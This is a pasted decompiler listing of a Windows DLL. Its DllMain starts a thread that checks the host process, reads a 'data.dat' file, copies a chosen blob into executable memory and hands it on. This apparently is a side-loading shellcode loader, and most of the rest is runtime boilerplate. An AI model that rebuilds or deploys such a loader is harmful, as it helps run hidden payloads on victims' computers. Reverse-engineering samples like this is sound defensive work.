Untitled

 avatar
unknown
plain_text
14 days ago
70 kB
4
Indexable
/* This file was generated by the Hex-Rays decompiler version 8.4.0.240320.
   Copyright (c) 2007-2021 Hex-Rays <info@hex-rays.com>

   Detected compiler: Visual C++
*/

#include <windows.h>
#include <math.h>
#include <defs.h>


//-------------------------------------------------------------------------
// Function declarations

#define __thiscall __cdecl // Test compile in C mode

char *__thiscall sub_10001000(char *this, int a2);
const char *__thiscall sub_10001030(_DWORD *this);
char *__thiscall sub_10001040(char *Block, char a2);
char *__thiscall sub_10001090(char *this);
void __noreturn sub_100010B0();
char *__thiscall sub_100010D0(char *this, int a2);
char *__thiscall sub_10001110(char *this, int a2);
void __noreturn sub_10001150();
void **__thiscall sub_10001160(void **this);
void **__cdecl sub_10001380(_DWORD *Src, int a2, int a3, int a4, int a5, unsigned int a6);
void __thiscall sub_10001520(HMODULE this);
void __stdcall __noreturn StartAddress(HMODULE lpThreadParameter);
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);
void **__thiscall sub_10001A40(void **Src, const unsigned __int16 *Srca);
int __thiscall sub_10001AC0(_DWORD *this);
void **__thiscall sub_10001B20(void **this, void *Src);
_DWORD *__thiscall sub_10001B70(_DWORD *this, _DWORD *Src);
void **__thiscall sub_10001C50(void **this, void *Src, unsigned int a3);
size_t *__thiscall sub_10001DA0(size_t *this, void *Src, size_t Size);
char __fastcall sub_10001ED0(char *a1, int a2);
int __fastcall sub_10001F10(unsigned __int16 *a1, int a2, int a3, int a4, int a5);
void **__thiscall sub_10002060(void **Src, size_t Size, int a3, void *Srca, int a5);
char __fastcall sub_100021E0(int a1, int a2);
char __thiscall sub_10002250(int this, LPCWSTR lpFileName);
int __cdecl sub_100023E0(_OWORD **a1);
int __thiscall sub_100025E0(int this);
int __cdecl sub_100026B0(int a1);
int __thiscall sub_100027E0(_DWORD *this);
int __thiscall sub_10002920(int this);
int __thiscall sub_10002A90(int this);
int __cdecl sub_10002B60(int a1);
// int __usercall sub_10002C00@<eax>(_OWORD **a1@<edx>, int a2, int a3, int a4);
_DWORD *__thiscall sub_10002E77(_DWORD *this);
// _DWORD __thiscall std::exception::exception(std::exception *__hidden this, const char *const); idb
char *__thiscall sub_10002EC4(char *this, int a2);
std::exception *__thiscall sub_10002EDF(std::exception *this, char *a2);
char *__thiscall sub_10002EFE(char *this, int a2);
void __cdecl __noreturn sub_10002F46(char *a1); // idb
// void *__cdecl operator new(size_t Size); idb
void __cdecl sub_10002FA4(void *Block);
// int __cdecl unknown_libname_3(_DWORD); weak
_DWORD *__thiscall sub_10002FBB(_DWORD *Block, char a2);
void __noreturn sub_10003463(); // weak
void __cdecl j_j___free_base(void *Block);
void sub_1000351D();
int sub_10003529();
void *sub_10003535();
void *sub_1000353B();
char sub_1000362C();
__vcrt_bool sub_10003690();
void *sub_10003836();
void sub_10003957();
void sub_1000395F();
void sub_1000398B();
int sub_10003BFB();
// _DWORD __cdecl __std_exception_copy(_DWORD, _DWORD); weak
// _DWORD __cdecl __std_exception_destroy(_DWORD); weak
// void __stdcall __noreturn _CxxThrowException(void *pExceptionObject, _ThrowInfo *pThrowInfo);
// int __cdecl __std_type_info_destroy_list(PSLIST_HEADER ListHead); idb
// __vcrt_bool __cdecl __vcrt_thread_detach();
// __vcrt_bool __cdecl __vcrt_uninitialize(__vcrt_bool Terminating);
// __vcrt_bool __cdecl __vcrt_uninitialize_critical();
// void *__cdecl memset(void *, int Val, size_t Size);
char *__thiscall sub_1000500C(char *this, int a2);
_DWORD *__thiscall sub_10005027(_DWORD *this);
// _DWORD __cdecl _local_unwind4(_DWORD, _DWORD, _DWORD); weak
// void *__cdecl memmove(void *, const void *Src, size_t Size);
void __stdcall sub_10005EC0(int a1);
// int __usercall sub_10005EF0@<eax>(int (*a1)(void)@<eax>);
// wchar_t *__cdecl wcsncpy(wchar_t *Destination, const wchar_t *Source, size_t Count);
// _DWORD __stdcall unknown_libname_4(_DWORD); weak
int __cdecl sub_100060AF(int a1);
// void __cdecl _invalid_parameter_noinfo();
// void __cdecl __noreturn _invalid_parameter_noinfo_noreturn();
void __cdecl j___free_base(void *Block);
// void *__cdecl malloc(size_t Size);
int __cdecl sub_100061AE(int a1);
int __cdecl sub_100066A7(int a1);
int sub_100066DB();
// int __cdecl unknown_libname_5(void *Block); idb
void *__cdecl sub_10006B73(void **a1);
void *__cdecl sub_10006B8E(void **a1);
// int __dcrt_uninitialize_environments_nolock(void); weak
// _DWORD __stdcall __crt_seh_guarded_call<char *>::operator()<_lambda_0fef6fff2b5e6b53303c9058db11ae1f_,_lambda_082c17da81b0962e08c0587ee0fac50c_ &,_lambda_fa6e051aed0a38726081083cc7c328e9_>(_DWORD, _DWORD, _DWORD); weak
int __cdecl sub_10006C36(int a1, int a2);
char sub_10006DD8();
char sub_10006E04();
char sub_10006E07();
__vcrt_bool sub_10006E4C();
// __crt_bool __cdecl __acrt_thread_detach();
// __crt_bool __cdecl __acrt_uninitialize_critical(__crt_bool Terminating);
// _DWORD __stdcall __crt_seh_guarded_call<void>::operator()<_lambda_3518db117f0e7cdb002338c5d3c47b6c_,_lambda_b2ea41f6bbb362cd97d94c6828d90b61_ &,_lambda_abdedf541bb04549bc734292b4a045d4_>(_DWORD, _DWORD, _DWORD); weak
// _DWORD __stdcall __crt_seh_guarded_call<void>::operator()<_lambda_51b6e8b1eb166f2a3faf91f424b38130_,_lambda_6250bd4b2a391816dd638c3bf72b0bcb_ &,_lambda_0b5a4a3e68152e1d9b943535f5f47bed_>(_DWORD, _DWORD, _DWORD); weak
// _DWORD __stdcall __crt_seh_guarded_call<void>::operator()<_lambda_5b71d36f03204c0beab531769a5b5694_,_lambda_be2b3da3f62db62e9dad5dc70221a656_ &,_lambda_8f9ce462984622f9bf76b59e2aaaf805_>(_DWORD, _DWORD, _DWORD); weak
// _DWORD __stdcall __crt_seh_guarded_call<void>::operator()<_lambda_9df27f884b057bc3edfc946cb5b7cf47_,_lambda_e69574bed617af4e071282c136b37893_ &,_lambda_cc0d902bcbbeb830f749456577db4721_>(_DWORD, _DWORD, _DWORD); weak
int __cdecl sub_10007296(int a1, int a2);
int __cdecl sub_100072BE(int a1, int a2);
int __cdecl sub_100072E6(int a1, int a2);
int __cdecl sub_1000730E(int a1, int a2);
// void __cdecl _free_base(void *Block);
// unsigned int *__cdecl __doserrno();
// int *__cdecl _errno();
int __thiscall sub_100080D2(_DWORD **this, void *Block);
// int unknown_libname_10(void); weak
// _DWORD __stdcall __crt_seh_guarded_call<void>::operator()<_lambda_c76fdea48760d5f9368b465f31df4405_,_lambda_e378711a6f6581bf7f0efd7cdf97f5d9_ &,_lambda_e927a58b2a85c081d733e8c6192ae2d2_>(_DWORD, _DWORD, _DWORD); weak
int __cdecl sub_100081DC(int a1, int a2);
// int __acrt_update_thread_multibyte_data(void); weak
char *__cdecl sub_10008AE9(void *Block, unsigned int a2, unsigned int a3);
char sub_10008B72();
// _DWORD __stdcall __crt_seh_guarded_call<void (__cdecl *)(int)>::operator()<_lambda_a048d3beccc847880fc8490e18b82769_,_lambda_ec61778202f4f5fc7e7711acc23c3bca_ &,_lambda_f7496a158712204296dd6628a163878e_>(_DWORD, _DWORD, _DWORD); weak
int __cdecl sub_10008E94(int a1, int a2);
int __cdecl sub_100091A2(int a1);
struct __crt_locale_data *__cdecl sub_10009313(int a1, struct __crt_locale_data **a2);
void *__cdecl sub_10009340(int a1, void **a2);
__int32 sub_100094CF();
// int __acrt_update_thread_locale_data(void); weak
int sub_100098E3();
// size_t __cdecl _msize(void *Block);
// void *__cdecl _realloc_base(void *Block, size_t Size);
int sub_1000A7DF();
// _DWORD __cdecl common_flush_all(_DWORD); weak
int sub_1000AC7A();
// _DWORD __stdcall __crt_seh_guarded_call<int>::operator()<_lambda_61cee617f5178ae960314fd4d05640a0_,_lambda_6978c1fb23f02e42e1d9e99668cc68aa_ &,_lambda_9cd88cf8ad10232537feb2133f08c833_>(_DWORD, _DWORD, _DWORD); weak
int __cdecl sub_1000AD18(int a1, int a2);
int sub_1000BAE6();
// void __usercall sub_1000BD84(char a1@<ch>, int a2@<ebp>);
// int _ffexpm1(void); weak
// int isintTOS(void); weak
// _DWORD __stdcall __crt_seh_guarded_call<int>::operator()<_lambda_123407a5e2ac06da108355a851863b7a_,_lambda_2fe9b910cf3cbf4a0ab98a02ba45b3ec_ &,_lambda_ae55bdf541ad94d75914d381c370e64d_>(_DWORD, _DWORD, _DWORD); weak
int __cdecl sub_1000C6C6(int a1, int a2);
int __cdecl sub_1000C6EE(int a1);
// BOOL __stdcall IsProcessorFeaturePresent(DWORD ProcessorFeature);

//-------------------------------------------------------------------------
// Data declarations

// extern LPVOID (__stdcall *VirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
// extern DWORD (__stdcall *GetModuleFileNameW)(HMODULE hModule, LPWSTR lpFilename, DWORD nSize);
// extern void (__stdcall __noreturn *FreeLibraryAndExitThread)(HMODULE hLibModule, DWORD dwExitCode);
// extern BOOL (__stdcall *CloseHandle)(HANDLE hObject);
// extern HMODULE (__stdcall *LoadLibraryW)(LPCWSTR lpLibFileName);
// extern HANDLE (__stdcall *CreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
// extern HMODULE (__stdcall *GetModuleHandleW)(LPCWSTR lpModuleName);
// extern BOOL (__stdcall *ReadFile)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
// extern HANDLE (__stdcall *CreateFileW)(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
// extern DWORD (__stdcall *GetFileSize)(HANDLE hFile, LPDWORD lpFileSizeHigh);
// extern BOOL (__stdcall *VirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
// extern HMODULE (__stdcall *LoadLibraryA)(LPCSTR lpLibFileName);
// extern FARPROC (__stdcall *GetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
// extern void (__stdcall *InitializeSListHead)(PSLIST_HEADER ListHead);
void *std::exception::`vftable' = &sub_10001040; // weak
void *std::bad_alloc::`vftable' = &sub_10001040; // weak
void *std::logic_error::`vftable' = &unknown_libname_2; // weak
void *std::length_error::`vftable' = &unknown_libname_2; // weak
void *type_info::`vftable' = &sub_10002FBB; // weak
void *std::bad_array_new_length::`vftable' = &sub_10001040; // weak
void *std::bad_exception::`vftable' = &unknown_libname_2; // weak
wchar_t asc_10012DA8[3] = L"\\/"; // weak
char byte_10012DE8[9] = { '\x87', 'E', 'A', '\x94', '\xBF', '\xC3', '$', 'g', '\x11' }; // weak
_UNKNOWN unk_10012DF1; // weak
const _ThrowInfo _TI2_AVbad_alloc_std__ = { 0u, &unknown_libname_1, NULL, &_CTA2_AVbad_alloc_std__ }; // idb
const _ThrowInfo _TI3_AVlength_error_std__ = { 0u, &unknown_libname_1, NULL, &_CTA3_AVlength_error_std__ }; // idb
const _ThrowInfo _TI3_AVbad_array_new_length_std__ = { 0u, &unknown_libname_1, NULL, &_CTA3_AVbad_array_new_length_std__ }; // idb
uintptr_t __security_cookie = 3141592654u;
void *Block = &unk_10015358; // idb
wchar_t *off_10015580 = L"         (((((                  H"; // weak
int dword_100156F0 = -2; // weak
union _SLIST_HEADER ListHead; // idb
_UNKNOWN unk_10015B78; // weak
_UNKNOWN unk_10015B80; // weak
int dword_10015BAC; // weak
int dword_10015C68; // weak
int dword_10015C6C; // weak
void *dword_10015D88; // idb
void *dword_10015D8C; // idb
HANDLE hHeap; // idb
int dword_10015FF8[128]; // weak
int dword_100161F8; // weak
struct __crt_locale_data *dword_10016210; // idb
int dword_10016224; // weak
int dword_10016228; // weak
int dword_10016234; // weak
_UNKNOWN unk_10016244; // weak
int dword_1001624C; // weak


//----- (10001000) --------------------------------------------------------
char *__thiscall sub_10001000(char *this, int a2)
{
  *(_DWORD *)this = &std::exception::`vftable';
  *(_QWORD *)(this + 4) = 0LL;
  __std_exception_copy(a2 + 4, this + 4);
  return this;
}
// 10003FC1: using guessed type _DWORD __cdecl __std_exception_copy(_DWORD, _DWORD);
// 1000E174: using guessed type void *std::exception::`vftable';

//----- (10001030) --------------------------------------------------------
const char *__thiscall sub_10001030(_DWORD *this)
{
  int v1; // ecx
  const char *result; // eax

  v1 = this[1];
  result = "Unknown exception";
  if ( v1 )
    return (const char *)v1;
  return result;
}

//----- (10001040) --------------------------------------------------------
char *__thiscall sub_10001040(char *Block, char a2)
{
  *(_DWORD *)Block = &std::exception::`vftable';
  __std_exception_destroy(Block + 4);
  if ( (a2 & 1) != 0 )
    sub_10002FA4(Block);
  return Block;
}
// 10004024: using guessed type _DWORD __cdecl __std_exception_destroy(_DWORD);
// 1000E174: using guessed type void *std::exception::`vftable';

//----- (10001090) --------------------------------------------------------
char *__thiscall sub_10001090(char *this)
{
  char *result; // eax

  result = this;
  *(_QWORD *)(this + 4) = 0LL;
  *((_DWORD *)this + 1) = "bad array new length";
  *(_DWORD *)this = &std::bad_array_new_length::`vftable';
  return result;
}
// 1000E1C8: using guessed type void *std::bad_array_new_length::`vftable';

//----- (100010B0) --------------------------------------------------------
void __noreturn sub_100010B0()
{
  char pExceptionObject[12]; // [esp+0h] [ebp-Ch] BYREF

  sub_10001090(pExceptionObject);
  _CxxThrowException(pExceptionObject, (_ThrowInfo *)&_TI3_AVbad_array_new_length_std__);
}

//----- (100010D0) --------------------------------------------------------
char *__thiscall sub_100010D0(char *this, int a2)
{
  *(_DWORD *)this = &std::exception::`vftable';
  *(_QWORD *)(this + 4) = 0LL;
  __std_exception_copy(a2 + 4, this + 4);
  *(_DWORD *)this = &std::bad_array_new_length::`vftable';
  return this;
}
// 10003FC1: using guessed type _DWORD __cdecl __std_exception_copy(_DWORD, _DWORD);
// 1000E174: using guessed type void *std::exception::`vftable';
// 1000E1C8: using guessed type void *std::bad_array_new_length::`vftable';

//----- (10001110) --------------------------------------------------------
char *__thiscall sub_10001110(char *this, int a2)
{
  *(_DWORD *)this = &std::exception::`vftable';
  *(_QWORD *)(this + 4) = 0LL;
  __std_exception_copy(a2 + 4, this + 4);
  *(_DWORD *)this = &std::bad_alloc::`vftable';
  return this;
}
// 10003FC1: using guessed type _DWORD __cdecl __std_exception_copy(_DWORD, _DWORD);
// 1000E174: using guessed type void *std::exception::`vftable';
// 1000E180: using guessed type void *std::bad_alloc::`vftable';

//----- (10001150) --------------------------------------------------------
void __noreturn sub_10001150()
{
  sub_10002F46("string too long");
}

//----- (10001160) --------------------------------------------------------
void **__thiscall sub_10001160(void **this)
{
  unsigned int v2; // ebx
  unsigned __int16 *v3; // ecx
  char *v4; // edi
  char *v5; // eax
  int v6; // ecx
  bool v7; // cf
  void **v8; // eax
  void *v9; // edx
  int v11; // [esp-10h] [ebp-258h]
  int v12; // [esp-Ch] [ebp-254h]
  unsigned int v13; // [esp+14h] [ebp-234h]
  void *Block[4]; // [esp+18h] [ebp-230h] BYREF
  int v15; // [esp+28h] [ebp-220h]
  unsigned int v16; // [esp+2Ch] [ebp-21Ch]
  WCHAR Filename[260]; // [esp+30h] [ebp-218h] BYREF
  int v18; // [esp+244h] [ebp-4h]

  GetModuleFileNameW(0, Filename, 0x104u);
  Block[0] = 0;
  v15 = 0;
  v16 = 7;
  sub_10001C50(Block, Filename, wcslen(Filename));
  v2 = v16;
  v3 = (unsigned __int16 *)Block;
  v4 = (char *)Block[0];
  if ( v16 >= 8 )
    v3 = (unsigned __int16 *)Block[0];
  v13 = sub_10001F10(v3, v15, v11, v12, 2);
  if ( v2 >= 8 )
  {
    v5 = v4;
    if ( 2 * v2 + 2 >= 0x1000 )
    {
      v4 = (char *)*((_DWORD *)v4 - 1);
      if ( (unsigned int)(v5 - v4 - 4) > 0x1F )
        _invalid_parameter_noinfo_noreturn();
    }
    sub_10002FA4(v4);
  }
  v15 = 0;
  v16 = 7;
  Block[0] = 0;
  sub_10001C50(Block, Filename, wcslen(Filename));
  v6 = v13;
  v18 = 0;
  v7 = v15 < v13;
  this[4] = 0;
  if ( v7 )
    v6 = v15;
  v7 = v16 < 8;
  this[5] = 0;
  *this = 0;
  this[4] = 0;
  this[5] = (void *)7;
  *(_WORD *)this = 0;
  v8 = Block;
  if ( !v7 )
    v8 = (void **)Block[0];
  sub_10001C50(this, v8, v6);
  if ( v16 >= 8 )
  {
    v9 = Block[0];
    if ( 2 * v16 + 2 >= 0x1000 )
    {
      v9 = (void *)*((_DWORD *)Block[0] - 1);
      if ( (unsigned int)((char *)Block[0] - (char *)v9 - 4) > 0x1F )
        _invalid_parameter_noinfo_noreturn();
    }
    sub_10002FA4(v9);
  }
  return this;
}
// 10001222: variable 'v11' is possibly undefined
// 10001222: variable 'v12' is possibly undefined

//----- (10001380) --------------------------------------------------------
void **__cdecl sub_10001380(_DWORD *Src, int a2, int a3, int a4, int a5, unsigned int a6)
{
  void **v6; // ecx
  void **v7; // esi
  unsigned __int16 *v8; // eax
  unsigned __int16 *v9; // ecx
  unsigned int v10; // edi
  void *v11; // edx
  _DWORD *v12; // ecx
  void *v13; // edx
  void *v14; // edx
  int v16; // [esp-10h] [ebp-4Ch]
  int v17; // [esp-Ch] [ebp-48h]
  void *Block[5]; // [esp+14h] [ebp-28h] BYREF
  unsigned int v19; // [esp+28h] [ebp-14h]
  int v20; // [esp+38h] [ebp-4h]

  v7 = v6;
  v20 = 0;
  v8 = (unsigned __int16 *)sub_10001B70(Block, &Src);
  v9 = v8;
  if ( *((_DWORD *)v8 + 5) >= 8u )
    v9 = *(unsigned __int16 **)v8;
  v10 = sub_10001F10(v9, *((_DWORD *)v8 + 4), v16, v17, 2);
  if ( v19 >= 8 )
  {
    v11 = Block[0];
    if ( 2 * v19 + 2 >= 0x1000 )
    {
      v11 = (void *)*((_DWORD *)Block[0] - 1);
      if ( (unsigned int)((char *)Block[0] - (char *)v11 - 4) > 0x1F )
        _invalid_parameter_noinfo_noreturn();
    }
    sub_10002FA4(v11);
  }
  v12 = sub_10001B70(Block, &Src);
  LOBYTE(v20) = 1;
  v7[4] = 0;
  v7[5] = 0;
  *v7 = 0;
  v7[4] = 0;
  v7[5] = (void *)7;
  *(_WORD *)v7 = 0;
  if ( v12[4] < v10 )
    v10 = v12[4];
  if ( v12[5] >= 8u )
    v12 = (_DWORD *)*v12;
  sub_10001C50(v7, v12, v10);
  if ( v19 >= 8 )
  {
    v13 = Block[0];
    if ( 2 * v19 + 2 >= 0x1000 )
    {
      v13 = (void *)*((_DWORD *)Block[0] - 1);
      if ( (unsigned int)((char *)Block[0] - (char *)v13 - 4) > 0x1F )
        goto LABEL_21;
    }
    sub_10002FA4(v13);
  }
  Block[4] = 0;
  v19 = 7;
  LOWORD(Block[0]) = 0;
  if ( a6 >= 8 )
  {
    v14 = Src;
    if ( 2 * a6 + 2 < 0x1000 || (v14 = (void *)*(Src - 1), (unsigned int)((char *)Src - (_BYTE *)v14 - 4) <= 0x1F) )
    {
      sub_10002FA4(v14);
      return v7;
    }
LABEL_21:
    _invalid_parameter_noinfo_noreturn();
  }
  return v7;
}
// 100013AA: variable 'v6' is possibly undefined
// 100013DA: variable 'v16' is possibly undefined
// 100013DA: variable 'v17' is possibly undefined

//----- (10001520) --------------------------------------------------------
void __thiscall sub_10001520(HMODULE this)
{
  const unsigned __int16 *v2; // esi
  void **v3; // eax
  void **v4; // eax
  _BYTE *v5; // edx
  unsigned int v6; // ecx
  _DWORD *v7; // eax
  const WCHAR *v8; // ecx
  _DWORD *v9; // edi
  void *v10; // edx
  void **v11; // eax
  void *v12; // esi
  unsigned int v13; // ecx
  _OWORD *v14; // eax
  _BYTE *v15; // eax
  unsigned int v16; // ecx
  wchar_t *v17; // edi
  signed int v18; // eax
  unsigned int v19; // ecx
  void *v20; // esi
  int v21; // ecx
  void *v22; // eax
  void *v23; // edi
  void *v24; // eax
  void *v25; // esi
  WCHAR *v26; // edx
  unsigned int v27; // ecx
  void *v28[2]; // [esp-18h] [ebp-94h] BYREF
  int v29; // [esp-10h] [ebp-8Ch]
  int v30; // [esp-Ch] [ebp-88h]
  const void *v31; // [esp-8h] [ebp-84h]
  unsigned int v32; // [esp-4h] [ebp-80h]
  _OWORD *v33; // [esp+Ch] [ebp-70h] BYREF
  _OWORD *v34; // [esp+10h] [ebp-6Ch]
  _OWORD *v35; // [esp+14h] [ebp-68h]
  void *v36; // [esp+18h] [ebp-64h]
  void *v37; // [esp+1Ch] [ebp-60h]
  bool v38; // [esp+23h] [ebp-59h]
  void *Block; // [esp+24h] [ebp-58h]
  int v40; // [esp+34h] [ebp-48h]
  unsigned int v41; // [esp+38h] [ebp-44h]
  void *v42[4]; // [esp+3Ch] [ebp-40h] BYREF
  int v43; // [esp+4Ch] [ebp-30h]
  unsigned int v44; // [esp+50h] [ebp-2Ch]
  LPCWSTR lpFileName[4]; // [esp+54h] [ebp-28h] BYREF
  __int64 v46; // [esp+64h] [ebp-18h]
  int v47; // [esp+78h] [ebp-4h]

  v37 = (void *)unknown_libname_3(4096);
  memset(v37, 0, 0x800u);
  GetModuleFileNameW(this, (LPWSTR)v37, 0x104u);
  v2 = (const unsigned __int16 *)v37;
  v28[0] = 0;
  v31 = 0;
  v32 = 7;
  sub_10001C50(v28, v37, wcslen((const unsigned __int16 *)v37));
  v3 = sub_10001380((_DWORD *)v28[0], (int)v28[1], v29, v30, (int)v31, v32);
  v47 = 0;
  v4 = sub_10001A40(v3, L"\\data.dat");
  lpFileName[0] = 0;
  v46 = 0LL;
  *(_OWORD *)lpFileName = *(_OWORD *)v4;
  v46 = *((_QWORD *)v4 + 2);
  v4[4] = 0;
  v4[5] = (void *)7;
  *(_WORD *)v4 = 0;
  LOBYTE(v47) = 2;
  if ( v41 >= 8 )
  {
    v5 = Block;
    v6 = 2 * v41 + 2;
    if ( v6 >= 0x1000 )
    {
      v5 = (_BYTE *)*((_DWORD *)Block - 1);
      v6 = 2 * v41 + 37;
      if ( (unsigned int)((_BYTE *)Block - v5 - 4) > 0x1F )
        _invalid_parameter_noinfo_noreturn();
    }
    v32 = v6;
    sub_10002FA4(v5);
  }
  v40 = 0;
  v41 = 7;
  LOWORD(Block) = 0;
  v7 = operator new(0xCu);
  v36 = v7;
  v8 = (const WCHAR *)lpFileName;
  v34 = 0;
  v35 = 0;
  v7[2] = 0;
  *v7 = 0;
  if ( HIDWORD(v46) >= 8 )
    v8 = lpFileName[0];
  if ( sub_10002250((int)v7, v8) )
  {
    v9 = (_DWORD *)*((_DWORD *)v36 + 2);
    if ( v9 )
    {
      while ( 1 )
      {
        v10 = (void *)v9[1];
        v42[0] = 0;
        v43 = 0;
        v44 = 15;
        sub_10001DA0((size_t *)v42, v10, strlen((const char *)v10));
        v11 = v42;
        v12 = v42[0];
        if ( v44 >= 0x10 )
          v11 = (void **)v42[0];
        v38 = v44 >= 0x10;
        if ( v43 == 1 && *(_BYTE *)v11 == 49 )
          break;
        v9 = (_DWORD *)*v9;
        if ( v44 >= 0x10 )
        {
          v13 = v44 + 1;
          if ( v44 + 1 >= 0x1000 )
          {
            v12 = (void *)*((_DWORD *)v42[0] - 1);
            v13 = v44 + 36;
            if ( (unsigned int)((char *)v42[0] - (char *)v12 - 4) > 0x1F )
              goto LABEL_45;
          }
          v32 = v13;
          sub_10002FA4(v12);
        }
        if ( !v9 )
          goto LABEL_23;
      }
      v14 = VirtualAlloc(0, v9[4], 0x3000u, 0x40u);
      v32 = v9[4];
      v31 = (const void *)v9[2];
      v34 = v14;
      v35 = (_OWORD *)v32;
      memmove(v14, v31, v32);
      if ( v38 )
      {
        v15 = v12;
        v16 = v44 + 1;
        if ( v44 + 1 >= 0x1000 )
        {
          v12 = (void *)*((_DWORD *)v12 - 1);
          v16 = v44 + 36;
          if ( (unsigned int)(v15 - (_BYTE *)v12 - 4) > 0x1F )
            goto LABEL_45;
        }
        v32 = v16;
        sub_10002FA4(v12);
      }
LABEL_23:
      v2 = (const unsigned __int16 *)v37;
    }
    if ( *((_DWORD *)v36 + 1) )
      CloseHandle(*((HANDLE *)v36 + 1));
    if ( v34 )
    {
      v17 = (wchar_t *)VirtualAlloc(0, 0x800u, 0x1000u, 4u);
      v18 = wcslen(v2) - 1;
      if ( v18 <= -1 )
      {
LABEL_30:
        v18 = -1;
      }
      else
      {
        while ( v2[v18] != 92 )
        {
          if ( --v18 <= -1 )
            goto LABEL_30;
        }
      }
      wcsncpy(v17, v2, v18);
      v19 = wcslen(v17);
      v32 = 32;
      *(_QWORD *)&v17[v19] = 0x64002E0031005CLL;
      *(_DWORD *)&v17[v19 + 4] = 7602273;
      v17[v19 + 6] = 0;
      v20 = operator new(v32);
      v33 = v34;
      v34 = v35;
      sub_10002C00(&v33, v21, (int)v20, (int)v17);
      v29 = 32;
      sub_10002FA4(v20);
    }
  }
  v22 = v36;
  v23 = (void *)*((_DWORD *)v36 + 2);
  if ( v23 )
  {
    do
    {
      v24 = (void *)*((_DWORD *)v23 + 1);
      if ( v24 )
      {
        v32 = 1;
        sub_10002FA4(v24);
      }
      if ( *((_DWORD *)v23 + 2) )
        j___free_base(*((void **)v23 + 2));
      v25 = *(void **)v23;
      v32 = 20;
      sub_10002FA4(v23);
      v23 = v25;
    }
    while ( v25 );
    v22 = v36;
  }
  v32 = 12;
  sub_10002FA4(v22);
  if ( HIDWORD(v46) >= 8 )
  {
    v26 = (WCHAR *)lpFileName[0];
    v27 = 2 * HIDWORD(v46) + 2;
    if ( v27 < 0x1000
      || (v26 = (WCHAR *)*((_DWORD *)lpFileName[0] - 1),
          v27 = 2 * HIDWORD(v46) + 37,
          (unsigned int)((char *)lpFileName[0] - (char *)v26 - 4) <= 0x1F) )
    {
      v32 = v27;
      sub_10002FA4(v26);
      return;
    }
LABEL_45:
    _invalid_parameter_noinfo_noreturn();
  }
}
// 10001853: variable 'v21' is possibly undefined
// 10002FB2: using guessed type int __cdecl unknown_libname_3(_DWORD);
// 10012DB0: using guessed type wchar_t aDataDat[10];

//----- (10001910) --------------------------------------------------------
void __stdcall __noreturn StartAddress(HMODULE lpThreadParameter)
{
  void **v1; // esi
  char *v2; // eax
  char v3; // bl
  void *v4[11]; // [esp-18h] [ebp-274h] BYREF
  void *v5[6]; // [esp+14h] [ebp-248h] BYREF
  int v6[6]; // [esp+2Ch] [ebp-230h] BYREF
  WCHAR Filename[260]; // [esp+44h] [ebp-218h] BYREF
  int v8; // [esp+258h] [ebp-4h]

  if ( !GetModuleHandleW(L"user32") )
    LoadLibraryW(L"user32");
  memset(Filename, 0, sizeof(Filename));
  GetModuleFileNameW(lpThreadParameter, Filename, 0x104u);
  v1 = sub_10001160(v5);
  v8 = 0;
  sub_10001B20(v4, Filename);
  v2 = (char *)sub_10001380((_DWORD *)v4[0], (int)v4[1], (int)v4[2], (int)v4[3], (int)v4[4], (unsigned int)v4[5]);
  v3 = sub_10001ED0(v2, (int)v1);
  sub_10001AC0(v6);
  v8 = -1;
  sub_10001AC0(v5);
  if ( v3 )
    sub_10001520(lpThreadParameter);
  FreeLibraryAndExitThread(lpThreadParameter, 0);
}
// 10001910: using guessed type int var_230[6];

//----- (10001A00) --------------------------------------------------------
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
  HANDLE Thread; // eax

  if ( fdwReason == 1 && hinstDLL != (HINSTANCE)-1 )
  {
    Thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, hinstDLL, 0, 0);
    if ( Thread )
      CloseHandle(Thread);
  }
  return 1;
}

//----- (10001A40) --------------------------------------------------------
void **__thiscall sub_10001A40(void **Src, const unsigned __int16 *Srca)
{
  const unsigned __int16 *v2; // edx
  unsigned int v4; // eax
  void *v5; // ebx
  bool v6; // cf
  _DWORD *v7; // edi
  unsigned __int16 *v9; // [esp-8h] [ebp-14h]
  char *Srcb; // [esp+14h] [ebp+8h]

  v2 = Srca;
  v4 = wcslen(Srca);
  v5 = Src[4];
  if ( v4 > (_BYTE *)Src[5] - (_BYTE *)v5 )
  {
    v9 = (unsigned __int16 *)Srca;
    LOBYTE(Srca) = 0;
    return sub_10002060(Src, v4, (int)Srca, v9, v4);
  }
  else
  {
    v6 = (unsigned int)Src[5] < 8;
    Srcb = (char *)v5 + v4;
    v7 = Src;
    Src[4] = (char *)v5 + v4;
    if ( !v6 )
      v7 = *Src;
    memmove((char *)v7 + 2 * (_DWORD)v5, v2, 2 * v4);
    *((_WORD *)v7 + (_DWORD)Srcb) = 0;
    return Src;
  }
}

//----- (10001AC0) --------------------------------------------------------
int __thiscall sub_10001AC0(_DWORD *this)
{
  unsigned int v2; // ecx
  _DWORD *v3; // eax
  int result; // eax

  v2 = this[5];
  if ( v2 >= 8 )
  {
    v3 = (_DWORD *)*this;
    if ( 2 * v2 + 2 >= 0x1000 )
    {
      if ( (unsigned int)v3 - *(v3 - 1) - 4 > 0x1F )
        _invalid_parameter_noinfo_noreturn();
      v3 = (_DWORD *)*(v3 - 1);
    }
    sub_10002FA4(v3);
  }
  result = 0;
  this[4] = 0;
  this[5] = 7;
  *(_WORD *)this = 0;
  return result;
}

//----- (10001B20) --------------------------------------------------------
void **__thiscall sub_10001B20(void **this, void *Src)
{
  *this = 0;
  this[4] = 0;
  this[5] = (void *)7;
  sub_10001C50(this, Src, wcslen((const unsigned __int16 *)Src));
  return this;
}

